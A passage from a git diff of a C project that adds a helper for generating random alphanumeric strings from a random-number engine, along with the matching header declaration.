SET[((uint8_t*)&n)[2] % sizeof(SET)]; + str[i + 3] = SET[((uint8_t*)&n)[3] % sizeof(SET)]; + } + } + if (i < len) { + n = proone_rnd_gen_int(rnd_engine); + for (; i < len; i += 1) { + str[i] = SET[((uint8_t*)&n)[i % 4] % sizeof(SET)]; + } + } +} diff --git a/src/proone_util.h b/src/proone_util.h index 5f9bcd9..5e3e9c2 100644 --- a/src/proone_util.h +++ b/src/proone_util.h @@ -1,3 +1,9 @@ +#pragma once +#include "proone_rnd.h" + +#include <stddef.h> + + #if 0 bool proone_strendsw (const char *str, const char *w) { const size_t len_str = strlen(str); @@ -9,3 +15,5 @@ bool proone_strendsw (const char *str, const char *w) { return strcmp(str + (len_str - len_w), w) == 0; } #endif + +void proone_rnd_alphanumeric_str (proone_rnd_engine_t *rnd_engine, char *str, const size_t len); |